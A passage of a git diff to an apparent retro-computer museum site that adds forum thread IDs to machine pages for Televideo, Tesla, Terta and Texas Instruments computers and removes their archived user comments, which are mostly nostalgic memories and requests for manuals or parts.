the system call to plot points. Not very fast, but worked. Migrated to an NEC 8 MHz turbo XT and a Novell network in ''86 or so. - - author: Bill Schmidt - date: Sunday 4th October 2015 - text: I bought a Televideo 803 towards the end of 1983 and used it for word processing until about 1989. It ran Wordstar. Incredibly, both the CP/M operating system AND the Wordstar software were on a single 5-1/4 floppy, with my work being saved on the second floppy. The machine was completely nsilent with no fan $ having a cooling tower design. You could invert the screen, which was my preference, so the typing was in black and the background was green. I connected it to a dot-matrix printer using continuous feed paper with the holes along the edges. You could tear off the edges that had the holes and turn in perfect paper. As a freelance writer, found my productivity effectively doubled with this computer as I could work right up to the point of printing. No need to retype. My next computer was a Mac SE, bought used for $2500, which was the same price I paid for the Televideo. Weren''t those the days?? - - author: Abe (Pennsylvania, USA) - date: Friday 24th April 2015 - text: I am an original owner of a working TS803. I do have a boot disk if anyone needs one. - - author: Joe (United States) - date: Thursday 15th January 2015 - text: Have you tried using an MS-DOS 2.11 360k floppy? If I recall, those systems could run either CP/M or DOS. - - author: Jay (Oregon, USA) - date: Tuesday 10th July 2012 - text: |- - I purchased a TS-803 in spring of 1983 as my first personal computer. I used it for word processing and early spreadsheets (running early version of Lotus 1-2-3). I bought the TS-803 along with a wide carriage Epson dot matrix printer and still have both. - - Unfortunately, the ''boot disc'' required to start the unit got lost somewhere along the line. If anyone knows if it is possible to replace that, I''d appreciate the information. oc_id: 1077 source: url: https://web.archive.org/web/20230609043502/http://www.old-computers.com/museum/computer.asp?c=1077 diff --git a/content/museum/telmi-periminitel.md b/content/museum/telmi-periminitel.md index 1b9b83ad..6caf6929 100644 --- a/content/museum/telmi-periminitel.md +++ b/content/museum/telmi-periminitel.md @@ -66,6 +66,7 @@ params: 128 KB + 2 FDD (800 KB) : 16500 FF HT (France, Dec. 83) tabs: - photos + forum_thread: 1163 photos: - title: PÉRIMINITEL subtitle: '' diff --git a/content/museum/terak-corporation-8510-data-processor.md b/content/museum/terak-corporation-8510-data-processor.md index 9d95a72a..fe9a3c98 100644 --- a/content/museum/terak-corporation-8510-data-processor.md +++ b/content/museum/terak-corporation-8510-data-processor.md @@ -51,6 +51,7 @@ params: - adverts - emulators - links + forum_thread: 1279 photos: - title: 8510A MODEL subtitle: '' diff --git a/content/museum/terta-tap-34.md b/content/museum/terta-tap-34.md index c29a7063..27096f37 100644 --- a/content/museum/terta-tap-34.md +++ b/content/museum/terta-tap-34.md @@ -65,6 +65,7 @@ params: tabs: - photos - links + forum_thread: 1263 photos: - title: TAP-34 COMPLETE subtitle: '' @@ -118,39 +119,6 @@ params: - title: www.machines.hu url: http://www.machines.hu/hirek_cikkek/cikkek/tap34/tap34.html text: dedicated page with great info - comments: - - author: Alex (Russia) - date: Sunday 12th April 2020 - text: This is the first copter I''ve used for programming when I was a kid. I had an access to the room with 3 TAP-34 in the university (I was just a schoolboy, so I couldn''t be there officially). - - author: Ilya Usvyatsky - date: Sunday 29th December 2019 - text: |- - This was the first machine I used for something non-trivial. It was used by Express-2 - the computerized ticketing system designed and deployed at https://en.wikipedia.org/wiki/October_Railway\ - Tap-34 were used to manage repair and maintenance of cash registers. It was deployed at major railway ticket parlors at major stations and in Moscow and St. Petersburg central offices. Tap-34 used modems to connect to mainframes (ES-1045, a Soviet clone of IBM-360/370). One Tap-34 was deployed at the high school I attended and we interned with the Express-2 doing software development in Intel 8080 assembly. - - author: Ruslan Kabalin (United Kingdom) - date: Thursday 25th June 2015 - text: |- - I had one in 1996-1998. It was originally decommissioned from CSTI (centre of scientific and technical information) in Belgorod (Russia), then it was obtained by my friend, he used it a while, and then I purchased it from him. I do not think it had CP/M, it had some custom localised OS they used in organisation. It was possible to load Basic and Astra (text processor) from floppy, there were some other software coming with it, but those two were the most useful for me. It had Consul printer A3 size with red/black ribbon on the spools (like in typewriter, not the cartridge), I do not remember the exact model. - - At the point when I sold it, I have got just enough money to buy an ordinary PC keyboard. - - author: Sergej (Russia) - date: Saturday 20th April 2013 - text: this is the first computer I saw, it was in 1986 in Western Siberia in the oil field, the town Raduzhnyi, near Nizhnevartovsk. and began to learn the language "Basic" - - author: Paul Kárpáti - date: Thursday 26th May 2011 - text: KGST is the hungarian abbreviation (Kölcsönös Gazdasági Segítség Tanácsa) of Comecon, or The Council for Mutual Economic Assistance. - - author: Cyril Murzin (Russia) - date: Friday 13rd March 2009 - text: |- - I''ve used this CPU since 1986 to 1990. - - TAP-34 had the number EC -8534 in the EC-serries (united serries of computers) of East block and ex-USSR. abbrev. TAP states for Teletype Abonents Point. there were three known (by me) modifications of EC-8534: original one, EC-8534.02, and EC-8534.3. the last one had optional capability to boot CP/M clone called VDOS. - - the standard software included some built-in teletype programs and BASIC (Terta-BASIC). there was also so called DP (Developer Package) floppy bootable system for assembly development (included editor, assembler and debugger). - - the term "self design of Terta company" is very doubtful - some constructive features of TAP-34 and the mentioned software suggest that there was some prototype CPU as well as original development software which were borrowed for TAP-34. I''m still looking for information about these prototypes. - - hope it will help. oc_id: 1298 source: url: https://web.archive.org/web/20230610144416/http://www.old-computers.com/museum/computer.asp?c=1298 diff --git a/content/museum/tesla-mato.md b/content/museum/tesla-mato.md index d9b6294a..5e3b822f 100644 --- a/content/museum/tesla-mato.md +++ b/content/museum/tesla-mato.md @@ -59,6 +59,7 @@ params: tabs: - photos - hardware + forum_thread: 919 photos: - title: 'INSIDE #1' subtitle: '' @@ -80,19 +81,6 @@ params: subtitle: '' text: Reduced version of the picture included in the MatoTech.zip file image: /media/museum/hardware/tesla_mato_psudiagram_s1.jpg - comments: - - author: Michele (Italy) - date: Tuesday 11th June 2013 - text: |- - Hi there, - - I''ve one of it with schematics, manual and seems steel running. I''m trying to make it run but the screen is not clear$ i see the characters at the bottom colored white but not clear$ it''s like a problem with the modulator. I can post more pictures of both documents, internal and external of it$ if someone can help me to make it back alive, please let me know. It is from my girl that she received it like a gift in his younger school time. :-) - - author: Dušan Majtás - date: Tuesday 10th June 2008 - text: There was no true serial connector at least on version for "public" the school version I did not saw ever. But the so called serial connector was DIN5 connector. two of which were on the rear panel, one DIN5 for connecting tape recorder (generaly spoken about generic tape recorder because MATO has not its own like 8bit Atari or Commodore and so) and second one for connecting to TV. Besides this the paralel port was not classical PC paralel port because it lacks asymetry of paralel port (not sure about pin count, have to dig out this old piece of crap and look at it), I have the feeling it was rather wide serial port than paralel port but have to check doc book of this micro computer first. - - author: Linkman (Slovak Republic) - date: Saturday 23rd April 2005 - text: Wow i am from Slovak Republic and i never heard about this computer ?! I am really suprissed :) oc_id: 943 source: url: https://web.archive.org/web/20230401022830/http://www.old-computers.com/museum/computer.asp?c=943 diff --git a/content/museum/tesla-ondra.md b/content/museum/tesla-ondra.md index 499480da..91bded48 100644 --- a/content/museum/tesla-ondra.md +++ b/content/museum/tesla-ondra.md @@ -58,6 +58,7 @@ params: value: About 20,000 Kcs (Czechoslovakian crowns) in 1987 tabs: - photos + forum_thread: 599 photos: - title: LARGE VIEW subtitle: '' diff --git a/content/museum/tesla-pmd-85.md b/content/museum/tesla-pmd-85.md index e15a3449..cf2c23a3 100644 --- a/content/museum/tesla-pmd-85.md +++ b/content/museum/tesla-pmd-85.md @@ -63,6 +63,7 @@ params: - hardware - emulators - links + forum_thread: 713 photos: - title: PMD-85-3 LARGE VIEW subtitle: '' @@ -173,25 +174,6 @@ params: - title: Martin Schotek PDM-85 page url: http://www.schotek.cz/pmd/indexe.htm text: Complete description of various PMD-85 versions (in English). - comments: - - author: $$1040$$$1085$$$1076$$$1088$$$1077$$$1081$ (Russia) - date: Friday 18th September 2020 - text: This is my first wave...This B$W computer is to pretty... - - author: pedrosk - date: Monday 31st March 2014 - text: my first ever touch was right here. I was 9 or 10 years old. Next step was ZX Spectrum and only later PP06 and today it is RasPI - - author: Laco13 (Slovakia) - date: Sunday 19th October 2008 - text: |- - This machine was my first touch with computer world on "Automation"-lessons on my highschool.\ - I love this "comp"for good memoirs from that time.\ - : - ))) - - author: petera (Slovakia) - date: Wednesday 23rd November 2005 - text: 'Price in 1988: cca 12000,- Kčs = cca 1200 DEM' - - author: Linkman (Slovak Republic) - date: Saturday 23rd April 2005 - text: When i was young and i was in primary school we have computer lessons in primary school and we are playing lot games created for this computer. oc_id: 730 source: url: https://web.archive.org/web/20230608091452/http://www.old-computers.com/museum/computer.asp?c=730 diff --git a/content/museum/tesla-pmi-80.md b/content/museum/tesla-pmi-80.md index d5cd2bb3..760e995d 100644 --- a/content/museum/tesla-pmi-80.md +++ b/content/museum/tesla-pmi-80.md @@ -49,6 +49,7 @@ params: - photos - adverts - connectors + forum_thread: 990 photos: - title: MAIN BOARD subtitle: '' @@ -134,32 +135,6 @@ params: subtitle: '' text: Thanks to **Horymir Marek** image: /media/museum/connectors/tesla_pmi80_diagram_s4.jpg - comments: - - author: Nyxt - date: Tuesday 8th March 2022 - text: this is basic - - author: Nyxt - date: Tuesday 8th March 2022 - text: Did you lose you mind, Elon Musk? - - author: belgium4 (Belgium) - date: Monday 12th September 2011 - text: |- - I have one in my collection.\ - I''m glad that I''ve found some info aroung this single board computer.\ - Thnx\ - Michel - - author: Roman Kiss (Slovakia) - date: Sunday 10th June 2007 - text: Thanks for remember me this baby. It was a long time ago, in the big garage Tesla. - - author: Gergely Takacs (Slovakia) - date: Wednesday 18th May 2005 - text: Yes there is an emulator for PMI80... Altough I've heard there are some problems with it under W.XP, I can work with itt allright. The interface is pretty darn simple (just as probably the PMI80 was)... - - author: Linkman (Slovak Republic) - date: Saturday 23rd April 2005 - text: Is extra emlator for PMI-80? - - author: Blackhead (Prague) - date: Tuesday 25th May 2004 - text: If you want to know enything about it ask here. I'll answer it! oc_id: 1016 source: url: https://web.archive.org/web/20230606190802/http://www.old-computers.com/museum/computer.asp?c=1016 diff --git a/content/museum/texas-instruments-compact-computer-40-cc40.md b/content/museum/texas-instruments-compact-computer-40-cc40.md index 663aede6..e94bb637 100644 --- a/content/museum/texas-instruments-compact-computer-40-cc40.md +++ b/content/museum/texas-instruments-compact-computer-40-cc40.md @@ -58,6 +58,7 @@ params: - photos - adverts - links + forum_thread: 247 photos: - title: LARGE VIEW subtitle: '' @@ -129,21 +130,6 @@ params: - title: TI-99 Forerver ! url: http://www.ti99.com/ text: Fabrice has made up a very complete page bout the CC40 ! - comments: - - author: Stefano - date: Thursday 1st March 2018 - text: The Wafertape was never sold in Italy (see MC microcomputer 034 1984, page $10).. Was it available elsewhere ? - - author: Steve (California) - date: Saturday 9th July 2016 - text: I worked on the followup to the CC-40. I don''t remember anything about a CC40+, but I worked on the something called the CC80 (? I think that was the model). It had a larger display (several sizes were being worked on), it could take more than one of the modules plugged in at one time, and other enhancements. TI decided there was no market for compact computers, or really any consumer electronics and cancelled pretty much everything, even though a lot of it was complete and ready to go! - - author: Edward Morgan - date: Thursday 9th May 2013 - text: |- - While I hate to disprove such a beautiful rumor...\ - My dad used to work for TI, and wound up in possession of one of the CC40+ prototypes when the home computer division was killed. Consequently, I can verify that the keyboard on the CC40+ is identical to the standard CC40 keyboard aside from coloration, and not improved at all.\ - Aside from a cost-reduced housing(in beige plastic to match the 99/8, 99/2, and late-model 99/4a) and the addition of a 99/ series cassette cable connector, there wasn''t any real difference between the two models. - - You MAY be thinking of the TI-74 Basicalc, which actually WAS released. Despite being a clear relative of the CC40 family, it WAS different in many respects, including the keyboard. oc_id: 237 source: url: https://web.archive.org/web/20230529182752/http://www.old-computers.com/museum/computer.asp?c=237 diff --git a/content/museum/texas-instruments-computer-99-8.md b/content/museum/texas-instruments-computer-99-8.md index a48b23ff..e91112d3 100644 --- a/content/museum/texas-instruments-computer-99-8.md +++ b/content/museum/texas-instruments-computer-99-8.md @@ -66,6 +66,7 @@ params: - links - docs - videos + forum_thread: 278 photos: - title: KEYBOARD/LABEL subtitle: '' @@ -207,22 +208,6 @@ params: - title: TV commercial featuring Bill Cosby url: https://www.youtube.com/watch?v=OhsgvW9P7tI text: 'Length: 30 s' - comments: - - author: Andy (USA) - date: Wednesday 17th June 2015 - text: The Myarc Geneve was not a "clone" of the 99/8. It used the same CPU, but absent were the Hex Bux interface, built-in speech, and the built-in USCD Pascal system. It also used a totally different operating system. People have compared it to the 99/8 but it''s in no way a "clone" of the 99/8. - - author: frank (us) - date: Monday 30th July 2012 - text: http://montreal.kijiji.ca/c-acheter-et-vendre-ordinateurs-Texas-Instruments-Computer-99-8-W0QQAdIdZ400504807 - - author: Stephen Boutillette - date: Tuesday 8th November 2011 - text: Dan you are right. I knew a few members of the North Jersey TI Users club that had them. Myarc was based in Basking Ridge, NJ and it was called the Geneve. Some used the PE box or a PC case to hose the parts. I know that at least one was still in use in the late 1990s. - - author: Dan Cochran (Leesport, PA) - date: Friday 2nd September 2011 - text: If I remember right, a company called Myarc produced a clone of this computer. I never saw one in person, but I saw ads for it in a TI-oriented magazine. - - author: Alice Myers (Washington) - date: Friday 7th July 2006 - text: The codename for the 99/8 was indeed the Armadillo. My memory is that it was virtually ready for production when marketing studies determined that the price-point they would be able to be sold for was lower than the cost of making them. If I remember correctly, competitors were pricing so low that everybody was probably losing money with each computer sold. I suspect the mind-set was "the last company to run out of money will be the winner." related: - /museum/texas-instruments-ti-99-2 - /museum/texas-instruments-ti-99-4a diff --git a/content/museum/texas-instruments-ds990.md b/content/museum/texas-instruments-ds990.md index 499279fc..1085e84a 100644 --- a/content/museum/texas-instruments-ds990.md +++ b/content/museum/texas-instruments-ds990.md @@ -65,6 +65,7 @@ params: tabs: - photos - hardware + forum_thread: 999 photos: - title: LARGER VIEW subtitle: '' @@ -161,32 +162,6 @@ params: subtitle: '' text: '' image: /media/museum/hardware/texasinstr_ds990_ramchips_s1.jpg - comments: - - author: John Sambrook (Kirkland, Washington, USA) - date: Monday 1st June 2020 - text: |- - I have wonderful memories of working with TI DS/900 systems, including the /10 and the /12. - - Someone asked about where to find materials. Here is one location$ I believe bitsavers.org has both manuals and binaries. - - http://www.bitsavers.org/pdf/ti/990/dx10/ - - Hit me up if you''d like to discuss anything DS/990 related. I''d love to be able to buy some old TI gear. - - author: Jeffrey Brace (USA) - date: Wednesday 27th May 2020 - text: I am looking for the TX5 operating system for this machine for a fellow member who lives in Italia. Specifically TI DS990 Model 1. - - author: John (Australia) - date: Monday 29th January 2018 - text: |- - I have obtained a DS990 Model 1 and FD1000 dual disk drive assembly and currently restoring it as best as I can, after it sat in someones shed for many many years. I do not have any original disks, nor any physical documentation. - - Seems like this machine is overshadowed by the other 990/\* systems, along with the 99/4A. I can hardly find software specifically for this machine. Even then, I''m not 100$ sure how to get the disk images onto the 8" floppy disks this machine reads. I am hoping that once I finish cleaning the dual Qume drives, I''ll be able to build up a PC interface and use some fancy utility to read and write disk images accordingly. Who knows if that is even possible... - - author: Ross Milbourne (England) - date: Thursday 4th January 2018 - text: Please can anyone help me to locate any of the software for this machine? I have a DS990 Model 1 with FD1000. - - author: Keith Winterburn (USA) - date: Monday 24th September 2007 - text: I used to look after our own and our customers systems which were DS 990 12 and so on multiple terminals mostly with 96 meg phoenix drives some with remote clusters supporting 911vdt terminals largest system was 30 terminals on three sites mostly business systems with the occasional one used for a library or similar they wern't much bother except for disk crashes and the ksr printers which lost sync pulses and jammed whilst printing oc_id: 1025 source: url: https://web.archive.org/web/20230330025208/http://www.old-computers.com/museum/computer.asp?c=1025 diff --git a/content/museum/texas-instruments-lcm-1001.md b/content/museum/texas-instruments-lcm-1001.md index 00c60f80..076d3cf2 100644 --- a/content/museum/texas-instruments-lcm-1001.md +++ b/content/museum/texas-instruments-lcm-1001.md @@ -48,6 +48,7 @@ params: value: about $280 tabs: - photos + forum_thread: 973 photos: - title: CPU CARD subtitle: '' @@ -69,41 +70,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/texas_lcm1001_plate_s1.jpg - comments: - - author: Denny Mingus - date: Thursday 28th May 2015 - text: |- - Attempting to use the add info button on your site, throws a 500 error on POST.\ - •Error Type:\ - (0x80040211)\ - /site/header/action_add_info.asp, line 82 - - author: Denny Mingus (USA) - date: Thursday 28th May 2015 - text: I''d like to share some photos of the TI LCM modules. I have the 1001, 1002, 1003 and 1004. Please contact me. - - author: A_V_P - date: Sunday 23rd February 2014 - text: |- - "Adam Roman (USA, Chicago area) - - I have the original 57-page Data Manual from October 1976 for the SBP0400A and SBP0401A 4-Bit-Slice I2L Processor Elements. This is contained in TI''''s December 1977 Bipolar Microcomputer Components Databook. The book also contains the full revised Data Manual for the SN74S481 / SN54S481 / SN74LS481 4-Bit-Slice Schottky Processor Elements. I can scan and post these if anyone needs them." - - Very interested datasheet on SBP0400!!! Please, if it is not difficult, to send this datasheet to my email: kolba1958@gmail.com. - - author: A_V_P (Russia) - date: Sunday 23rd February 2014 - text: I am the author cited on this website books on all Soviet list IC''s "All domestic circuit." I have a few questions for the forum participants. - - author: Adam Roman (USA, Chicago area) - date: Tuesday 16th April 2013 - text: I have the original 57-page Data Manual from October 1976 for the SBP0400A and SBP0401A 4-Bit-Slice I2L Processor Elements. This is contained in TI''s December 1977 Bipolar Microcomputer Components Databook. The book also contains the full revised Data Manual for the SN74S481 / SN54S481 / SN74LS481 4-Bit-Slice Schottky Processor Elements. I can scan and post these if anyone needs them. - - author: jf (france) - date: Thursday 6th March 2008 - text: |- - I have the complet LCM-1001, box and manuel.\ - This object is used no new.\ - What is the price ?\ - Thanks - - author: Ivan Assaritti (Indaiatuba - Brazil) - date: Wednesday 22nd June 2005 - text: I'm looking for to purchase the "operation manual" and/or circuit diagram from Texas LCM-1001. I tried to find the SPB0400 4bit uP datasheet but I didn't. I intend to make a LCM-1001 emulator on PC. Thank You! oc_id: 999 source: url: https://web.archive.org/web/20230227233124/http://www.old-computers.com/museum/computer.asp?c=999 diff --git a/content/museum/texas-instruments-portable-professional-computer-ppc.md b/content/museum/texas-instruments-portable-professional-computer-ppc.md index e08e9bf9..fc1c2319 100644 --- a/content/museum/texas-instruments-portable-professional-computer-ppc.md +++ b/content/museum/texas-instruments-portable-professional-computer-ppc.md @@ -67,6 +67,7 @@ params: 64k model : 3765 (France, 1984) tabs: - photos + forum_thread: 466 photos: - title: PPC subtitle: '' @@ -84,57 +85,6 @@ params: subtitle: '' text: Thanks to chrism3667 for the picture image: /media/museum/photos/ti_ppc_rear.jpg - comments: - - author: cmnmicro (Simi Valley, CA, USA) - date: Saturday 28th March 2020 - text: I have a fully functional TI PPC with compatible software. MS_DOS, CPM, Word Processing, VisiCalc etc. Like to sell 805-501-3435 - - author: StefanoB - date: Friday 23rd June 2017 - text: |- - Digging on the web archives I think I found the GSX-86 graphics driver (named TICOLOR1.SYS).\ - It means that it should be possible to run MSDOS and CPM86 graphics applications (such as DR-DRAW and DR-GRAPH). - - author: Gerald (spokane washington 99203) - date: Thursday 8th September 2011 - text: I have one of these computers , would like to sell 5092511850 All works - - author: popeye55 - date: Tuesday 25th January 2011 - text: Is there any software out there for this computer? How about, can I call Texas . Or TI? - - author: popeye55 - date: Tuesday 25th January 2011 - text: My boss has a PPC and would like to know if anyone knows what a 0005 error is. and what is this computer worth on todays market. Thanks - - author: Teacherau (Texas) - date: Wednesday 15th December 2010 - text: |- - I need a keyboard cable for the TI Portable Professional computer. - - Please contact me if you have one or know where I can get one. - - Thanks, - - teacherau@hotmail.com - - author: John - date: Monday 24th November 2008 - text: |- - I''m looking for a 1983 TI professional computer in WORKING condition.\ - If you have one or know where I can find one please email me at: - - jonniejonner@gmail.com - - author: Jeremie (Rocklin, California,) - date: Sunday 14th November 2004 - text: |- - Does anyone know where I can purchase an original keyboard, system disks, or manuals for this computer?\ - Thanks,\ - Jeremie\ - jeremie.lariviere@gmail.com - - author: Chris (New Jersey) - date: Friday 16th July 2004 - text: Does anyone remember the magazine that was devoted to the TIPC/TIPPC? It probably only lasted a year or so. Originally I think it was on newsprint, but went to a glossy format. Anyone got any? Hey thanks :)>. - - author: Stephen (Texas) - date: Wednesday 12th February 2003 - text: |- - I have one of these and was wondering what it was worth? - - Thanks and God bless!! oc_id: 472 source: url: https://web.archive.org/web/20230608142726/http://www.old-computers.com/museum/computer.asp?c=472 diff --git a/content/museum/texas-instruments-ti-55-ii.md b/content/museum/texas-instruments-ti-55-ii.md index 2d076ad4..0a9c0e81 100644 --- a/content/museum/texas-instruments-ti-55-ii.md +++ b/content/museum/texas-instruments-ti-55-ii.md @@ -36,24 +36,12 @@ params: value: $50 tabs: - adverts + forum_thread: 586 adverts: - title: U.S. ADVERT(1982) subtitle: '' text: The calculator was sold with a very helpful manual (Calculator Decision-Making Sourcebook) giving step- by-step examples for the best techniques used for solving mathematical, statistical and scientific problems, as well as programming tips. image: /media/museum/pubs/texas_ti55ii_pub_1.jpg - comments: - - author: Bill Plante - date: Saturday 3rd November 2012 - text: For over 18 years in engineering, my TI-55-II was my constant companion$ after 29 years, it''s still on my desktop. Just did a search of my library. I seem to have lost the Quick Reference Guide, but I''ve still got the green "SourceBook" with all the program keying instructions. - - author: Bill Plante (USA) - date: Saturday 3rd November 2012 - text: WOW! Just saw your piece on the TI-55-II. Bought mine when they first came out (not the Brazil model). After all these years, it''s the one I use almost every day. It''s a little scuffed, but it works flawlessly and dependably! I change the batteries every 2-3 years. I even still have the case! - - author: Keith (US) - date: Sunday 27th June 2010 - text: |- - I bought one of these when my TI-55 died on me. The quality of this model was abysmal. The buttons were unreliable. It usually took multiple button presses to get them to work and when they did work, many times you would get multiple entries. - - About 13 years later I worked at TI and was talking to one of the engineers when the subject of the TI-55-II came up. When I told him I had owned one he asked me if it was any good. I told him that the buttons sucked. He sort of chuckled to himself. I guess they realized that it sucked as well. oc_id: 597 source: url: https://web.archive.org/web/20230604171839/http://www.old-computers.com/museum/computer.asp?c=597 diff --git a/content/museum/texas-instruments-ti-99-2.md b/content/museum/texas-instruments-ti-99-2.md index 6008c083..1f179fec 100644 --- a/content/museum/texas-instruments-ti-99-2.md +++ b/content/museum/texas-instruments-ti-99-2.md @@ -60,6 +60,7 @@ params: - links - docs - videos + forum_thread: 277 photos: - title: B&W PICTURE subtitle: '' @@ -210,29 +211,6 @@ params: - title: TV commercial featuring Bill Cosby url: https://www.youtube.com/watch?v=OhsgvW9P7tI text: 'Length: 30 s' - comments: - - author: Jeremy Benisek (United States) - date: Saturday 27th October 2018 - text: |- - I have one of these and would like to sell it. Any one interested? - - Please contact JB@dontpanic.biz - - author: Mark (USA) - date: Friday 18th July 2014 - text: |- - There''s an interesting site about TMS99xx stuff : - - http://www.avjd51.dsl.pipex.com/ - - Has quite a lot of stuff on the TI TMS9900/TMS9995 hardware including a breadboard self-build computer based on the TMS9995 - - Well worth a look ! - - author: John Creviston (Texas) - date: Wednesday 19th February 2003 - text: |- - I am in posession of a TI99/2. I am looking for an original power supply/wall transformer.\ - I do not own this machine, but am acting on behalf of the owner.\ - It might possibly be available for auction if there is enough interest. Please write for pictures for if you have questions. john creviston related: - /museum/texas-instruments-computer-99-8 - /museum/texas-instruments-ti-99-4a diff --git a/content/museum/texas-instruments-ti-99-4a-beige.md b/content/museum/texas-instruments-ti-99-4a-beige.md index ed9fba60..e0bb8178 100644 --- a/content/museum/texas-instruments-ti-99-4a-beige.md +++ b/content/museum/texas-instruments-ti-99-4a-beige.md @@ -75,6 +75,7 @@ params: - links - docs - videos + forum_thread: 906 photos: - title: LARGER VIEW subtitle: '' @@ -260,65 +261,6 @@ params: - title: TV commercial featuring Bill Cosby url: https://www.youtube.com/watch?v=OhsgvW9P7tI text: 'Length: 30 s' - comments: - - author: Virgil - date: Tuesday 13rd October 2020 - text: I am 13 and I have found one of these in a building my family owns. I am interested in it and how it has the same controller ports on it as a sega genesis does. Really neat. - - author: ChrisGrillo (Malta) - date: Tuesday 24th April 2018 - text: I cut my teeth on this machine, learning program literally by copying the listings from magazines, and then figuring out which part did what action or sequence. My dad bought this machine for me when it was already discontinued, but as a poor family, we didn''t care. I love this machine to this day, and it is still connected to my tv. - - author: Nathaniel (Texas) - date: Monday 19th June 2017 - text: I have a beige 99/4A that my Grandma bought at Sears on clearance. It came with the original version of the system ROM and will run all third party carts. Guess TI was trying to just make everything they could and mixed and matched surplus part stock to get rid of it at the EOL of the machines. Even though the computer is almost a decade older than I am I have enjoyed it and still break it out every now and then to play Zero Zap or Parsec on. - - author: Gilmoure (New Mexico, United States) - date: Wednesday 5th April 2017 - text: I still have my beige TI-99/4a (16k of RAM!) and it still works (except I no longer have a tube tv for display. :-( ). I also have the cassette player I used with it and there''s a tape in there but I''m afraid to even plug it in or try and open the player. Figure the tape has welded itself to the read head or something. For what it''s worth, I now admin super computers. Great way to start. - - author: Mark (United States) - date: Saturday 1st April 2017 - text: |- - My farther purchased one for me when I was around 14 or 15. I lived in a little town called Newport Pagnell (where Aston Martins are made) just outside Milton Keynes. My first computer. - - Remember learning BASIC, copying programs from magazines with the thinnest paper. Loved it. Learned to debug because I would never copy correctly, still use those same techniques today... - - Pretty sure having this computer and loving it helped me get my apprenticeship at Allen-Bradley in 1981 and career in tech ever since... - - author: Scott (USA) - date: Saturday 26th September 2015 - text: |- - Got one for my 9th birthday, love the look of the black/silver but just for nostalgic purposes I want to get a the beige because that is what I had.\ - I also remember well using a random cassette recorder for saving basic programs. I have very fond memories of these books I use to order from the monthly scholastic brochure thing, they were called "Micro-Adventure" and it was like sliced-bread to me at 9. You went through the fiction Sci-Fi type stories but at the part where the team was looking at a bomb you would type in a program that would have a countdown timer or something like that. LOVED it.\ - My favorite game was "MicroSurgeon" by far. A really impressive game actually for that small system, it had three windows on-scree showing verious things. One was the inside of the person you were working on, another was the hospital room and another had the heartbeat and vitals monitor. Really great stuff. - - P.S. Speaking of Schoolastic does anybody else remember a magazine you could get through them called "K-Power"? I''ve never seen one since but they were full sized fun 8 bit mags. Wish I could look through one now. - - author: Mark (USA) - date: Friday 18th July 2014 - text: |- - There''''s an interesting site about TMS99xx stuff : - - http://www.avjd51.dsl.pipex.com/ - - Has quite a lot of stuff on the TI TMS9900/TMS9995 hardware including a breadboard self-build computer based on the TMS9995 - - Well worth a look ! - - author: etownAndy (USA) - date: Tuesday 4th January 2011 - text: |- - Actually, some versions of the beige console could use third-party cartridges with no problem. - - The version that can''t displays "(c)1983 v2.2" on the startup screen. - - The QI (Quality Improved) motherboard differed in many ways. For one, the side expansion port lost the brass-colored "fingers". Second, the tranformer plug only contains two pins because only 5 and 16 volts are needed whereas the original also supplied 8v. Finally, there is no top shield, and a heat sink is placed on the TMS9918A video chip. - - author: Beachbumb - date: Saturday 10th April 2010 - text: I had this when I was a kid. Burgertime and Star trek games and a radioshack cassette recorder to record my programsI made in Basic. Also had the voice simulator plugin pack. Drempt about getting the big floppy disc box. - - author: andy (sydney) - date: Sunday 23rd July 2006 - text: 'My step dad gave me a ti 994a beige when i was 13. immediately i taught myself basic from the excellent manual that came with it. I got caught a couple of times with the function key reseting issue. Funny story: my brother accidentaly spilt an entire cup of coffee into it while it was turned on. we powered it off, turned it upside down to let the coffee drain, and let it rest standing up against the back fence outside for a week. then bought it in, turned it on, it was as if nothing had happened. They dont make electronics like they used to...... I loved that computer. sigh.' - - author: CodeBoy061269 (Saint Petersburg, Florida) - date: Sunday 12th September 2004 - text: I was given a TI-99/4A for my 14th. birthday, in 1983. I had been taking continuing education courses at The University Of South Florida during Summer break from junior high school. Eventually, all my computer equipment stopped working. You can go to ebay and buy a lot of that stuff, though. That's what I did, and now, when I'm not working with my PC, I can relive the old days. Also, free emulators are available on line that, for all intents and purposes, temporarily turn your PC or Mac into a TI-99/4A. - - author: Lyn (USA) - date: Sunday 3rd August 2003 - text: I recall purchasing the TI99 back around 1982 or 83 at Toys R Us for $50.00. The model was being discontinued. There were a few good games for it, can't remember all, but one comes to mind. It was "Alpiner," a mountain main trying to make his way to the top and had to watch out for skunk slime! I also remember the manual with the basic instructions. My first screen saver was "random dots." related: - /museum/texas-instruments-computer-99-8 - /museum/texas-instruments-ti-99-2 diff --git a/content/museum/texas-instruments-ti-99-4a.md b/content/museum/texas-instruments-ti-99-4a.md index 859560d1..7bbaa6fc 100644 --- a/content/museum/texas-instruments-ti-99-4a.md +++ b/content/museum/texas-instruments-ti-99-4a.md @@ -77,6 +77,7 @@ params: - links - docs - videos + forum_thread: 246 photos: - title: SIDE VIEW subtitle: '' @@ -326,291 +327,6 @@ params: - title: TV commercial featuring Bill Cosby url: https://www.youtube.com/watch?v=OhsgvW9P7tI text: 'Length: 30 s' - comments: - - author: rod (Canada) - date: Friday 4th March 2022 - text: I had one of these as a kid. Sadly, I could never get it to work - - author: Loretta M. (California, USA) - date: Friday 18th August 2017 - text: |- - In September, 1979, I went to work at Texas Instruments in Lubbock, Texas, where the TI-99/4 and 99/4A was mostly manufactured. I was an electronic technician and did soldering and wire-wrap on prototypes in development, mostly software cartridges and add-on devices, as well as worked in testing, repair, burn-in (each new system was left on for several days, I think it was, then re-tested). And I helped train people on the assembly line. I did the wire-wrap prototype version of the speech synthesizer module$ a female engineer designed it$her name escapes me at the moment. .That speech synthesizer was a big deal for its time. She and I were the only two women in that module (and most of the rest of TI) who weren''t assembly line workers - - Even though I worked on those computers, I could not afford to buy one for myself! Lordy, they were about $1,700 with all the extras such as the cassette tape drive, if I remember correctly, a fortune back then. But I did have a system at work to use! Much different than programming in FORTRAN on a mainframe! - - In those days, another "module" or modular building at TI actually repaired people''s broken calculators and mailed them back to the user. Imagine that. - - TI had these automated mail robots that followed a special painted line on the floor, in and out of modules and up and down the big hallway. We used to put stuff in front of them to see what would stop them and what wouldn''t. For 1979, it all was very futuristic to me. - - Later, I moved to the Front End module to make more money, where I ran a boron/phosphorus ion implant machine, one of the several hundred processes in creating semiconductor chips. The implant machines were these huge particle accelerators that were the crankiest machines I ever worked with. The chips have multiple layers, and these machines placed a positive or negative charge on the unmasked areas of a chip''s layer. We made the first 256k memory chips there! Then I went back to college after I made 